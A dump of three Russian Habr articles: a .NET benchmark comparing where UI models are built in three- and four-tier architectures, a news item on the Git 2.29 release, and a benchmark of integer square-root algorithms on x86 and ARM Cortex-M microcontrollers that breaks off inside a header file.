**Ремарка**Называние курса как-бы намекает, что они реализуют SOA архитектуру. Мне кажется, они реализуют её с большой натяжкой, т.к., например, в книжке [«Руководство Microsoft по проектированию архитектуры приложений»](https://blogs.technet.microsoft.com/isv_team/2010/09/16/microsoft-patterns-practices/) чётко отмечен основной признак SOA архитектуры – автономность сервисов, возможность их распределенного развертывания, независимого обслуживания и развития. ИМХО сервис должен обладать своим независимым хранилищем данных, чтобы являться частью SOA. У ребят из Pluralsight просто фасад доступа к модели предметной области реализован как набор WCF сервисов, не более того.
В других случаях эти классы являются просто отдельным слоем, с которым взаимодействует слой представления.
Однако почти всегда DTO, возвращаемые такими классами не могут служить моделью для View UI, т.к. содержит или слишком много или слишком мало данных. Частично это обусловлено тем, что уровни отображения существуют разные (мобильные клиенты, вебсервера) и для них нужен разный UI, хотя работают они с одной моделью предметной области. Частично тем, что просто по требованиям на конкретном экране надо показать данные нескольких объектов предметной области.
Таким образом, очевидно, что модели для UI не отображаются 1 в 1 на DTO, используемые для хранения данных объектов предметной области, и поэтому их надо где-то формировать.
### А где их формировать и почему это важно?
Как оказывается, место их формирования, а также применяемые при этом технологии взаимодействия между уровнями могут легко сделать из хорошей системы плохую в глазах пользователей.
**Ремарка**Есть мнение, что хорошая система автоматизации отличается от плохой тем, что позволяет пользователям выполнять свою работу быстрее, чем раньше.
Рассмотрим с точки зрения производительности следующие варианты формирования модели для отображения в UI:
*Трёхуровневая архитектура (браузер + вебсервер + сервер БД)*
* Модель формируется на клиенте
* Модель формируется на вебсервере
*Четырёхуровневая архитектура (браузер + вебсервер + аппсервер + сервере БД)*
* Модель формируется на вебсервере
* Модель формируется на аппсервере
Итак, у нас 4 базовых варианта.
Для того, чтобы было интереснее – будем использовать разные технологии из стека .NET для взаимодействия между уровнями.
А для того, чтобы было совсем интересно – в виде модели будем передавать «реальный» объём данных (~150кб в несжатом виде), а браузер разместим подальше от основного стенда (благо, размеры нашей Родины это позволяют).
### Используемые технологии и инструментарий
Браузер – Chrome 48, модель с вебсервера будем получать в JSON с помощью JQuery 2.
Вебсервер – IIS 6.1, модель будет отдавать с помощью Web API 2 (в одном из сценариев WebAPI OData v3) с использованием gzip компрессии. JSON сериализатор стандартный. Данные будет получать либо от Аппсервера (в четырёх-уровневой архитектуре), либо напрямую из БД с помощью EF 6 (в трёхуровневой).
Аппсервер – IIS 6.1, данные будет отдавать либо с помощью WCF Service (Net.TCP binding), либо c помощью WCF DataService v3 (без компрессии). C БД будет общаться с помощью EF 6.
Сервер БД — MS SQL 2014 standart.
### Распределение уровней по железу
Браузер, вебсервер, аппсервер, сервер БД – все на разных физических машинах.
Конфигурация железа:
* Браузер – обычный офисный компьютер на базе Core i5
* Вебсервер – виртуальный серверок на базе Xeon E5504, 12 GB
* Аппсервер – виртуальный серверок на базе Xeon E5504, 16 GB
* Сервер БД – виртуальный сервер на базе Xeon E5-2620, 32 GB, Raid 10 SAS
Вебсервер, аппсервер, сервер БД – в одной сети, территориально в Москве. Соединены 10ТБ сетью. Вебсервер торчит в интернеты за Microsoft Forefront TMG.
Браузер – снаружи, территориально в Москве и Уфе (будем рассматривать два варианта). Соединены с вебсервером обычными «хорошими» интернетами через WIFI.
### Данные
В БД содержится простая табличка (Guid, Name) с 10 тыс. строк данных.
Для формирования модели из этой таблички с помощью EF берутся три набора данных по 1000 строк начиная с произвольного значения (Skip, Take). Первый набор оставляется без изменений, второй и третий фильтруются в коде заполнения модели. Суммарный размер строк трёх наборов равен 2000 объектов или ~150 кб.
Каждый набор данных возвращается как проперть модели. При этом, первый набор получается синхронно, а второй и третий – асинхронно.
Таким образом и БД и EF у нас присутствуют, но вносят свой вклад во время получения данных по-минимому (т.к. мы тестируем не EF и не БД, а архитектуру в целом), но размер модели большой.
### Что и как меряем
Замеряем время в браузере между началом запроса модели и получением результата в виде объектов javascript. Рендеринг результатов в браузере присутствует, но не замеряется.
После рендеринга модели после 1с ожидания всё повторяем заново.
Таким образом делаем ~500 измерений и строим график распределения результатов в процентном соотношении в зависимости от времени.
Будем проводить две серии измерений одновременно, разместив браузеры территориально в разных местах (Москва и Уфа)
Измерения будем проводить в рабочее время, когда каналы и сервера штатно загружены.
### Тестовые стенды
Таким образом формируем следующие тестовые стенды
* Четырёхуровневая архитектура, модель формируется на вебсервере, аппсервер доступен через WCF DataService, результат в браузер передаётся через Web API
* Четырёхуровневая архитектура, модель формируется на вебсервере, аппсервер доступен через WCF сервис по net.tcp протоколу, результат в браузер передаётся через Web API
* Четырёхуровневая архитектура, модель формируется на аппсервере, который доступен через WCF сервис по net.tcp протоколу, результат в браузер передаётся через Web API
* Трёхуровневая архитектура, модель формируется на вебсервере, результат в браузер передаётся через Web API
* Трёхуровневая архитектура, модель формируется в браузере с помощью вебсервера, доступного через Web API Odata
Дальше описание каждой модели и результаты, идём от самой тормозной к самой быстрой
### Четырёхуровневая архитектура, модель формируется на вебсервере, аппсервер доступен через WCF DataService, результат в браузер передаётся через Web API
###### Особенности
Поскольку для доступа к серверу приложений используется WCF DataService (который работает поверх модели EF) – для реализации различных запросов на получения данных не надо писать методы в этом самом сервисе. Запросы можно составлять через URL, либо используя LINQ
**Код получения данных модели**
```
public class DocumentListController : ApiController
{
// GET: api/DocumentList/
public async Task Get()
{
var result = new DocumentListViewModel();
var appServer = new DocumentsServiceHelper();
result.AllDocuments = await Task.Run(() => appServer.GetAllDocuments());
var data = await Task.WhenAll(
Task.Run(() => appServer.GetEvenDocuments()),
Task.Run(() => appServer.GetOddDocuments()));
result.EvenDocuments = data[0];
result.OddDocuments = data[1];
return result;
}
}
public class DocumentsServiceHelper
{
private const string DocumentsServiceUrl = @"http://xxx/appdataserver/documentsservice.svc/";
public DocumentItem[] GetAllDocuments()
{
var context = new Documents(new Uri(DocumentsServiceUrl));
var rnd = new Random();
return context.DocumentItems.OrderBy(x => x.Id).Skip(rnd.Next(0, 9000)).Take(1000).ToArray();
}
public DocumentItem[] GetEvenDocuments()
{
var context = new Documents(new Uri(DocumentsServiceUrl));
var rnd = new Random();
return context.DocumentItems.OrderBy(x => x.Id).Skip(rnd.Next(0, 9000)).Take(1000).ToList().Where((x, i) => i % 2 != 0).ToArray();
}
public DocumentItem[] GetOddDocuments()
{
var context = new Documents(new Uri(DocumentsServiceUrl));
var rnd = new Random();
return context.DocumentItems.OrderBy(x => x.Id).Skip(rnd.Next(0, 9000)).Take(1000).ToList().Where((x, i) => i % 2 == 0).ToArray();
}
}
}
```
**Код сервиса**
```
[System.ServiceModel.ServiceBehavior(IncludeExceptionDetailInFaults = true)]
public class DocumentsService : EntityFrameworkDataService
{
public static void InitializeService(DataServiceConfiguration config)
{
config.SetEntitySetAccessRule("\*", EntitySetRights.AllRead);
config.DataServiceBehavior.MaxProtocolVersion = DataServiceProtocolVersion.V3;
}
}
```
###### Результаты
Как видим, почти все запросы попадают в интервал 850-1100 мс, а примерно 5% выполняются больше 1.1с. Это для Москвы. Для Уфы картинка хуже.
###### Вывод
WCF Data Services — не наш вариант
### Трёхуровневая архитектура, модель формируется в браузере с помощью вебсервера, доступного через Web API Odata
###### Описание
Поскольку модель формируется с помощью Web API OData (который также работает поверх модели EF) – для реализации различных запросов на получения данных не надо писать методы в Web API контроллере. Запросы можно составлять через URL.
Поскольку модель формируется в браузере – на вебсервер едет три Web API запроса в отличии от всех остальных сценариев, где таких запросов одна штука.
**Код формирования модели (на Type Script)**
```
class DocumentItem {
Id: string;
Name: string;
constructor(_id: string, _name: string) {
this.Id = _id;
this.Name = _name;
}
}
class DocumentsController {
DocumentItems: DocumentItem[];
OddDocumentItems: DocumentItem[];
EvenDocumentItems: DocumentItem[];
constructor() {
this.DocumentItems = [];
this.EvenDocumentItems = [];
this.OddDocumentItems = [];
}
public FillData(): Promise {
var p = new Promise((resolve, reject) => {
var queryOne = this.ExecuteQuery(this.GetQuery())
.then((data: DocumentItem[]) => {
this.DocumentItems = data;
var queryTwo = this.ExecuteQuery(this.GetQuery());
var queryThree = this.ExecuteQuery(this.GetQuery());
var result = Promise.all([queryTwo, queryThree]);
result
.then((data: DocumentItem[][]) => {
this.EvenDocumentItems = data[0].filter((x, i, all) => i % 2 != 0);
this.OddDocumentItems = data[1].filter((x, i, all) => i % 2 == 0);
resolve();
}, reject);
}, reject);
});
return p;
}
private GetQuery(): string {
var random = Math.floor(Math.random() \* 9000);
return "$orderby=Id desc&$skip=" + random + "&$top=1000";
}
private ExecuteQuery(query: string): Promise {
var uri = "odata/Documents?";
var p = new Promise((resolve, reject) => {
$.getJSON(uri + query)
.done((data: any) => {
var realData = $.map(data.value, (x: any, i: number) => new DocumentItem(x.Id, x.Name));
resolve(realData);
})
.fail((jqXHR: JQueryXHR, textStatus: string, err: string) => reject(err));
});
return p;
}
}
```
На сервере код контроллера – шаблонный (Web API 2 OData v3 Controller with actions using Entity Framework), не буду его приводить.
###### Результаты
Как видим, почти все запросы попадают в интервал 200-350 мс для Москвы и 250-400мс для Уфы, что не так плохо. НО, присутствуют и медленные запросы, больше 800мс (для Уфы таких примерно 5%). Для юзера это будет означать, что UI системы работает почти всегда быстро, НО иногда будет подтормаживать. Это очень раздражает.
###### Вывод
Такая архитектура является нынче модной. И не сказать, чтобы она сильно тормозит. Но ИМХО она годится только для интранета, только для мощных офисных машин и только для UI десктопных приложений. Версия, тип браузера – сильно влияют на результат. Под IE всё это работает существенно тормознее, я уж не говорю про мобильные браузеры.
### Четырёхуровневая архитектура, модель формируется на вебсервере, аппсервер доступен через WCF сервис по net.tcp протоколу, результат в браузер передаётся через Web API
**Код Web API контроллера**
```
// GET: api/DocumentList/
public async Task Get()
{
var result = new DocumentListViewModel();
var appServer = new DocumentsService.DocumentsServiceClient();
appServer.Open();
result.AllDocuments = await appServer.GetAllDocumentsAsync();
var even = appServer.GetEvenDocumentsAsync();
var odd = appServer.GetOddDocumentsAsync();
var data = await Task.WhenAll(even, odd);
result.EvenDocuments = data[0];
result.OddDocuments = data[1];
appServer.Close();
return result;
}
```
**Код сервиса**
```
public class DocumentsService : IDocumentsService
{
public DocumentItem[] GetAllDocuments()
{
var rnd = new Random();
using (var context = new Documents())
{
return context.DocumentItems.OrderBy(x => x.Id).Skip(rnd.Next(0, 9000)).Take(1000).ToArray();
}
}
public DocumentItem[] GetEvenDocuments()
{
var rnd = new Random();
using (var context = new Documents())
{
return context.DocumentItems.OrderBy(x => x.Id).Skip(rnd.Next(0, 9000)).Take(1000).ToList().Where((x, i) => i % 2 != 0).ToArray();
}
}
public DocumentItem[] GetOddDocuments()
{
var rnd = new Random();
using (var context = new Documents())
{
return context.DocumentItems.OrderBy(x => x.Id).Skip(rnd.Next(0, 9000)).Take(1000).ToList().Where((x, i) => i % 2 == 0).ToArray();
}
}
}
```
###### Результат
Как видим, почти все запросы попадают в интервал 100-200 мс для Москвы и 150-250мс для Уфы. И, главное, медленных запросов для Москвы нет, для Уфы – почти нет.
###### Вывод
С т.з. производительности — однозначно годная архитектура.
### Четырёхуровневая архитектура, модель формируется на аппсервере, который доступен через WCF сервис по net.tcp протоколу, результат в браузер передаётся через Web AP
###### Особенности
Многие скажут, что модель для UI формировать на аппсервере – моветон. Так оно, по сути и есть.
Чтобы сгладить ситуацию, не будем расширять фасад DD модели методами по возврату модели для UI, а создадим на аппсервере новый сервис, который будет использовать фасад DD модели и формировать модель для UI. Вебсервер будет использовать именно этот сервис. Если потребуется реализовать новый UI – на аппсервер должен быть добавлен новый сервис.
В этом сценарии вебсервер шлёт 1 WCF запрос для формирования модели, вместо трёх для всех остальных рассмотренных четырёхуровневых сценариев.
**Код формирования модели**
```
public class UIService : IUIService
{
public async Task GetModel()
{
var result = new DocumentListViewModel();
var docService = new DocumentsService();
result.AllDocuments = await Task.Run(() => docService.GetAllDocuments());
var even = Task.Run(() => docService.GetEvenDocuments());
var odd = Task.Run(() => docService.GetOddDocuments());
var evenOdd = await Task.WhenAll(even, odd);
result.EvenDocuments = evenOdd[0];
result.OddDocuments = evenOdd[1];
return result;
}
}
}
```
**Код Web API контроллера**
```
// GET: api/DocumentList/
public DocumentListViewModel Get()
{
var appServer = new UIServiceClient();
appServer.Open();
var data = appServer.GetModel();
appServer.Close();
return data;
}
```
###### Результаты
Как видим, почти все запросы попадают в интервал 100-150 мс для Москвы и 150-250мс для Уфы.
###### Вывод
Cамая быстрая четырёхуровневая архитектура. И самая надёжная, т.к. минимизируется обмен между вебсервером и аппсервером как по количеству данных, так и по частоте вызова.
### Трёхуровневая архитектура, модель формируется на вебсервере, результат в браузер передаётся через Web API
**Код контроллера**
```
public class DocumentListController : ApiController
{
// GET: api/DocumentList/
public async Task Get()
{
var result = new DocumentListViewModel();
var watch = new Stopwatch();
watch.Start();
var docService = new DocumentsService();
result.AllDocuments = await Task.Run(() => docService.GetAllDocuments());
var even = Task.Run(() => docService.GetEvenDocuments());
var odd = Task.Run(() => docService.GetOddDocuments());
var evenOdd = await Task.WhenAll(even, odd);
result.EvenDocuments = evenOdd[0];
result.OddDocuments = evenOdd[1];
watch.Stop();
result.Log = watch.ElapsedMilliseconds.ToString();
return result;
}
}
```
**Код локального репозитория (обёртка над EF)**
```
public class DocumentsService
{
public DocumentItem[] GetAllDocuments()
{
var rnd = new Random();
using (var context = new Documents())
{
return context.DocumentItems.OrderBy(x => x.Id).Skip(rnd.Next(0, 9000)).Take(1000).ToArray();
}
}
public DocumentItem[] GetEvenDocuments()
{
var rnd = new Random();
using (var context = new Documents())
{
return context.DocumentItems.OrderBy(x => x.Id).Skip(rnd.Next(0, 9000)).Take(1000).ToList().Where((x, i) => i % 2 != 0).ToArray();
}
}
public DocumentItem[] GetOddDocuments()
{
var rnd = new Random();
using (var context = new Documents())
{
return context.DocumentItems.OrderBy(x => x.Id).Skip(rnd.Next(0, 9000)).Take(1000).ToList().Where((x, i) => i % 2 == 0).ToArray();
}
}
}
```
###### Результат
Как видим, почти все запросы попадают в интервал 100-150 мс для Москвы и 100-200мс для Уфы.
###### Вывод
Если не нужна четырёхуровневая архитектура, то это – самый быстрый вариант.
### Такие дела. | https://habr.com/ru/post/279331/ | null | ru | null |
# И полгода не прошло: выпущена система управления версиями Git 2.29
Привет, %username%, сегодня отличная новость: в открытом доступе [появился](https://lkml.org/lkml/2020/10/19/692) выпуск распределенной системы управления [версиями Git 2.29.0](https://www.opennet.ru/opennews/art.shtml?num=53923). Наверное, на Хабре не стоит рассказывать, что это такое, ведь Git по-прежнему остается одной из лучших систем.
В новом выпуске — сразу 627 изменений, которые внесли 89 разработчиков. О главных изменениях и доработках рассказываем под катом.
* Начнем с экспериментальной возможности использования алгоритма хэширования SHA-256 вместо скомпрометированного SHA-1 при записи объектов в репозиторий. Сейчас хэш формируется на основе содержимого каждого объекта в Git и является его уникальным идентификатором. При любой попытке изменения данных или заголовков объекта выполняется изменение идентификатора. Тем не менее, SHA-1 был скомпрометирован, поэтому Git решено перевести на новый уровень защиты. Изначально планировалось использовать SHA3-256, но в итоге разработчики воспользовались SHA2-256, поскольку SHA2 уже применяется в Git для цифровых подписей. Было принято здравое решение не добавлять новый алгоритм, поскольку если хотя бы один из них скомпрометируют, то это приведет к проблемам с безопасностью. Чем больше элементов в системе, тем выше вероятность, что что-то пойдет не так — логика понятна.
* Сейчас в Git добавлена возможность включения нового формата объектов при создании репозитория:
```
$ git init --object-format=sha256 repo
Initialized empty Git repository in /home/ttaylorr/repo/.git/
$ cd repo
$ echo 'Hello, SHA-256!' >README.md
$ git add README.md
$ git commit -m "README.md: initial commit"
[master (root-commit) 6e92961] README.md: initial commit
1 file changed, 1 insertion(+)
create mode 100644 README.md
$ git rev-parse HEAD
6e929619da9d82c78dd854dfe237c61cbad9e95148c1849b1f96ada5ee800810
```
Выбрать можно лишь между SHA-1 и SHA-256, возможности сочетать разные хеши в одном репозитории нет.
* В командах «git fetch» и «git push» появилась поддержка исключающих спецификаций ссылок, которые расширяют правила сопоставления ссылок между ветками в локальном и внешнем репозиториях. Эта возможность окажется полезной в ситуациях, когда необходимо не только выбрать, но и исключить некоторые ветки из сопоставления. Так, когда нужно извлечь все ветки «refs/heads/\*», кроме одной «refs/heads/ref-to-exclude», раньше приходилось указывать полный список с использованием такого скрипта:
```
$ git ls-remote origin 'refs/heads/*' |
grep -v ref-to-exclude |
awk '{ print $2:$2 }' |
xargs git fetch origin
```
* Сейчас появился оператор исключения "^". Выражения с этим оператором допускают шаблоны, но не могут ссылаться на идентификаторы объекта. Команда с использованием нового оператора может выглядеть следующим образом:
```
$ git fetch origin 'refs/heads/*:refs/heads/*' ^refs/heads/ref-to-exclude
```
Кроме того, в настройках можно использовать исключения:
```
$ git config --add remote.origin.fetch ^refs/heads/foo
```
* В «git shortlog» теперь появилась возможность группировки коммитов по содержимому дополнительных полей, «Reviewed-by:» и «Coauthored-by:», а не только по автору или коммитеру. Так что если необходимо вывести список наиболее активно рецензирующих разработчиков, то нужна команда:
```
$ git shortlog -ns --group=trailer:reviewed-by v2.28.0.. | head -n5
40 Eric Sunshine
10 Taylor Blau
4 brian m. carlson
2 Elijah Newren
1 Jeff King
```
* Можно указывать несколько выражений "--group" при запуске и использование опции "--format". Так что для учета соавторов или помощников теперь нужно указывать вот что:
```
$ git shortlog -ns --group=author --group=trailer:co-authored-by
$ git shortlog --format="...helped %an on %as" --group=trailer:helped-by v2.28.0..v2.29.0
```
* Если возникает конфликт в процессе выполнения операции «git merge», заголовок сообщения о коммите теперь помещается в скобки для явного отделения данных из коммита от диагностических сообщений Git.
* Разработчики вернули отключенную в выпуске 2.27 вторую версию коммуникационного протокола Git. Таким образом, устранена ошибка, которая приводила к проблемам со стабильностью.
* В команду «git bisect», которая используется для выявления ревизии, добавлена опция "--first-parent" для изменения отбора коммитов, проходящих между заведомо рабочей ревизией и ревизией, в которой зафиксировано проявление проблемы.
Просмотреть обо всех новшествах можно [здесь](https://github.blog/2020-10-19-git-2-29-released/).
[](https://slc.tl/kKUGH) | https://habr.com/ru/post/524514/ | null | ru | null |
# Корни разные нужны, корни разные важны
#### Вместо вступления
Прежде всего хочется выразить признательность всем, кто откликнулся на первую статью [об оптимизации кода на языке C/C++](https://habr.com/ru/post/515018/) на примере функции для вычисления квадратного корня из целого с округлением до ближайшего целого. Благодаря экспертному вниманию была исправлена опечатка в тексте; копилка эффективных алгоритмов пополнилась.
Интересен алгоритм [sqrxi32 от @Sdima1357](https://habr.com/ru/post/515018/#comment_22024188) — Пример 1, далее для краткости именуемый как «\_i32». Алгоритм «\_i32» безусловно выполняет главное условие задачи — «округление до ближайшего целого» — на всём множестве значений аргумента [ 0 .. 0xFFFFFFFF ], при этом показывает высокую производительность.
*Пример 1: Квадратный корень из целого с округлением до ближайшего целого — «\_i32».*
```
uint16_t sqrxi32( uint32_t y )
{
if ( y == 1 )
return 1;
uint32_t xh = y > 0x10000ul ? 0x10000ul : y;
uint32_t xl = 0;
uint32_t xc;
for ( int k = 0; k < 16; k++ )
{
xc = ( xh + xl ) >> 1ul;
if ( xc * xc - xc >= y )
{
xh = xc;
}
else
{
xl = xc;
}
}
return ( xh + xl ) >> 1ul;
}
```
Другое хорошее качество алгоритма «\_i32» — предсказуемость по времени. Время работы «\_i32» постоянно в отличие от алгоритма «\_evn», потребляющего машинное время пропорционально модулю аргумента.
#### О чём этот текст
Наблюдение комплексного влияния параметров сборки и целевой аппаратной платформы на итоговую производительность, применительно к одному и тому же исходному коду.
Исходный код содержит решение одной задачи разными алгоритмами.
Анализ результатов наблюдений за рамками настоящей публикации.
#### Условия и допуски
Для сокращение текста принимаем:
* аппаратных платформ для тестов — 3 платформы;
* вариантов оптимизации сборки — 3 значения
Для сборки двоичного кода применяем:
* Одну единицу компиляции теста (файл main.c)
* Компиляцию в моно-поточный исполняемый файл
* Единую сборочную среду: CubeIDE (она же Eclipce CDT)
* Стандартные настройки профиля сборки RELEASE в среде CubeIDE
* Единый диалект компилятора: «ISO C11 + gnu extensions» (-std=gnu11)
* Применительно к микроконтроллерам:
+ CubeMX — default settings, +48MHz, +USART1, +HAL;
+ Runtime lib: Reduced C ( --spec=nano.specs );
+ Use float with printf from new lib nano ( -u \_printf\_float );
*Таблица 1: Варианты сборки исполняемого кода*
*Таблица 2: Общие характеристики аппаратных платформ*
*Таблица 3: Технические характеристики аппаратных платформ*
Тестовый набор содержит некоторые [алгоритмы из предыдущей статьи](https://habr.com/ru/post/515018/) и комментариев к ней.
Для оценки FPU платформы «M4» в тестовый набор добавлена функция sqrt\_fps, решающая вычислительную задачу с применением коротких действительных (float), именуемая далее «\_fps» (Float Point Short) — Пример 2.
*Пример 2: Квадратный корень из целого с точностью float — «\_fps»*
```
uint16_t sqrt_fps( uint32_t number )
{
if ( number < 2 )
return (uint16_t) number;
float f_rslt = sqrtf( number );
uint32_t rslt = (uint32_t) f_rslt;
if ( !( f_rslt - (float) rslt < .5 ) )
rslt++;
return (uint16_t) rslt;
}
```
Функция «\_fps» работает без ошибок с аргументом менее 22-х бит, что соответствует десятичному порядку 1E+5 — Иллюстрация 1.
*Иллюстрация 1: Ошибки функции "\_fps" на порядках 1E+6+*
Для всех наблюдаемых алгоритмов ограничиваем диапазон аргумента множеством значений
[0 .. 1E+5].
*Таблица 4: Список наблюдаемых алгоритмов*
Основная единица измерения — производительность, среднее число циклических вызовов функции за одну миллисекунду.
#### Относительная производительность платформ
Ожидаемо, производительность платформы «x86» выше производительности платформы «ARM Cortex» безотносительно характера оптимизации сборки. Последнее демонстрирует левая часть графика — Иллюстрация 2.
*Иллюстрация 2: Относительная производительность аппаратных платформ*
На левой части графика по оси Y отображается среднее время последовательного выполнения всех тестов (Таблица 4), измеренное в секундах. На оси X — аппаратные платформы.
Чем ниже высота столбика на левой части графика (Иллюстрация 2), тем выше скорость работы, тем лучше производительность соответствующей аппаратной платформы.
График каждой платформы, в свою очередь, представлен тремя столбцами, демонстрирующими зависимость производительности от варианта оптимизации сборки: -O0, -Os, -O3.
Правая часть графика (Иллюстрация 2) показывает относительный прирост производительности у каждой аппаратной платформы в зависимости от варианта оптимизации сборки: -O0, -Os, -O3.
Производительность 100% демонстрирует двоичный код, собранный без оптимизации ( -O0 ). Это базовая производительность платформы.
Чем выше высота столбика относительно базовой производительности ( ‑O0 ) в правой части графика, тем лучше оптимизационные возможности программно-аппаратной платформы.
Наблюдаем наибольший прирост производительности от оптимизации на этапе сборки на платформе «M4».
#### Платформа x86
На графике (Иллюстрация 3) по оси Y отображается число цикличных вызовов наблюдаемых функций за одну миллисекунду. На оси X — наблюдаемые функции (Таблица 4).
Чем выше на графике столбики, тем лучше производительность.
Цветом на оси X обозначен способ оптимизации на этапе сборки. Соответствие цвета и характера оптимизации отражает легенда.
*Иллюстрация 3: Производительность алгоритмов на платформе x86*
Платформа «x86» максимально раскрывает преимущества алгоритмов с плавающей точкой перед целочисленными.
Заслуживает отдельного внимания часть графика в оранжевом контуре.
Производительность кода без оптимизации ( ‑O0 ) лучше на 39% для алгоритма «\_fpu» ( ‑Os ) и на 16% для алгоритма «\_fps» ( ‑O3 ). Другими словами, любая оптимизация на этапе сборки снижает производительность платформы «x86» на действительных числах.
В то же время, целочисленные алгоритмы показывают ожидаемый прирост производительности при сборке с параметрами -O3 и -Os.
#### Платформа M4
Платформа «M4» демонстрирует предсказуемый результат (Иллюстрация 4).
*Иллюстрация 4: Производительность алгоритмов на платформе M4*
Модуль с плавающей точкой «M4» даёт ожидаемый прирост производительности для алгоритма «\_fps», основанного на коротком действительном — float.
Последнее подтверждается результатом сравнения производительности алгоритмов при отключенном модуле FPU на платформе «M4» — Иллюстрация 5.
Наблюдая графики помним, что точность вычислений алгоритма «\_fps» гарантируется в диапазоном 1E+5 (см. Иллюстрация 1) без относительно того, включен ли модуль FPU на «M4» или нет.
*Иллюстрация 5: Производительность алгоритмов на платформе M4 без FPU*
#### Платформа M0
Результаты платформы «M0» похожи на результаты платформы «M4» без FPU (Иллюстрация 5), только медленнее — Иллюстрация 6.
Заметим, тактовая частота при тестировании устанавливалась одинаковой и для «M4», и для «M0» — 48 MHz. Однако, производительность «M0» хуже в два с лишним раза, чем «M4», в условиях равенства прочих характеристик.
*Иллюстрация 6: Производительность алгоритмов на платформе M0*
Алгоритм «\_fps» на платформе «M0» ожидаемо опережает в два раза алгоритм «\_fpu».
Целочисленные алгоритмы опережают алгоритмы с плавающей точкой.
По странному стечению обстоятельств в заключительном графике (Иллюстрация 6) снова есть место для оранжевого контура.
При сборке без оптимизации ( ‑O0 ) алгоритм «\_evn» быстрее алгоритма «\_i32». И алгоритм «\_evn» медленнее, чем «\_i32», если сборка проводится с оптимизацией.
Снова наблюдается относительное снижение производительности от оптимизации на этапе сборки. Заметим, у целочисленных алгоритмов на платформах «M4» и «x86» подобного эффекта нет.
#### Вместо заключения
Производительность программы зависит от многих причин.
Оптимизация на этапе сборки способна ухудшать производительность, замедлять программу, что демонстрируют экспериментальные данные в оранжевых контурах выше (Иллюстрация 3 и Иллюстрация 6).
Цена аппаратной платформы безусловно повышает производительность программы безотносительно качества исходного кода и эффективности компилятора.
Общего правила, как создавать эффективные программы, нет. Задача оптимизации и профилирования решается индивидуально в каждом конкретном случае.
#### Приложение 1. Порядок тестирования платформы x86
1. Создать в среде CubeIDE (Eclipse CDT) проект C штатным способом
2. Написать текст программы — Пример 3
3. Добавить в проект файл sqrt\_cmp.h — Пример 6
4. Осуществить сборку и запуск программы:
1. штатными средствами IDE;
2. или из командной строки — Пример 4
5. Меняя вид оптимизации ( -O0, -O3, -Os ) наблюдать результат.
*Пример 3: Исходный текст программы x86 — main.c*
```
#include "sqrt_cmp.h"
int main( void )
{
main_Of_SqrtComp();
return 0;
}
```
*Пример 4 Запуск теста на платформе x86 из терминала*
```
gcc main.c -o main -I. -Wall -lm -std=gnu11 -O3 && ./main
```
Запуск теста из терминала платформы «x86» предполагает, что файлы main.c и sqrt\_cmp.h располагаются в одном каталоге, и этот каталог выбран рабочим (pwd).
*Иллюстрация 7: Запуск теста из терминала* «x86»
#### Приложение 2. Порядок тестирования платформы STM32
1. Создать в среде CubeIDE проект STM32 штатным способом (CubeMX)
2. Добавить файл sqrt\_cmp.h в проект STM32 — Пример 6
3. Включить sqrt\_cmp.h в файл main.c — Пример 5
4. Осуществить сборку и запуск программы штатными средствами IDE
5. Меняя вид оптимизации ( -O0, -O3, -Os ) наблюдать результат
*Пример 5: Исходный текст для STM32 (с пропусками < ... >) — main.c*
```
< … >
/* Private includes ----------------------------------------------------------*/
/* USER CODE BEGIN Includes */
#include "sqrt_cmp.h"
/* USER CODE END Includes */
< … >
/**
* @brief The application entry point.
* @retval int
*/
int main(void)
{
< … >
/* Infinite loop */
/* USER CODE BEGIN WHILE */
main_Of_SqrtComp();
while (1)
{
/* USER CODE END WHILE */
/* USER CODE BEGIN 3 */
}
/* USER CODE END 3 */
```
#### Приложение 3. Порядок тестирования других алгоритмов и платформ
Сборка теста для других платформ проводится по аналогии.
Для отличных от упомянутых выше аппаратных платформ (Таблица 3), вероятно, потребуется косметическая модификация файла «sqrt\_cmp.h».
*Пример 6: Содержание файла sqrt\_cmp.h*
```
/******************************************************************************
* File: sqrt_cmp.h Created on 5 авг. 2020 г.
* CC0 1.0 Universal (CC0 1.0)
* Creative Commons Public Domain Dedication
* No Copyright
*
* TAB Size .EQ 4
********************************************************************************/
#ifndef __SQRT_CMP_H
#define __SQRT_CMP_H
#include
#include
#include
#ifdef \_\_cplusplus
extern "C" {
#endif
/\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*
\* Interface of the entry point for all sqrt tests
\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*/
void main\_Of\_SqrtComp();
/\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*
\* test case selection: TEST\_SET
\* select one of the test suite via a comment.
\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*/
#define TEST\_SET TEST\_ALL
//#define TEST\_SET TEST\_ROUNDING
//#define TEST\_SET TEST\_PERFORMANCE
/\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*
\* Interfaces of test functions.
\* See implementation of them at the end of this file.
\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*/
typedef uint16\_t (\*sqrt\_func)( uint32\_t number );
uint16\_t sqrt\_fpu( uint32\_t number ); // floating point function from article
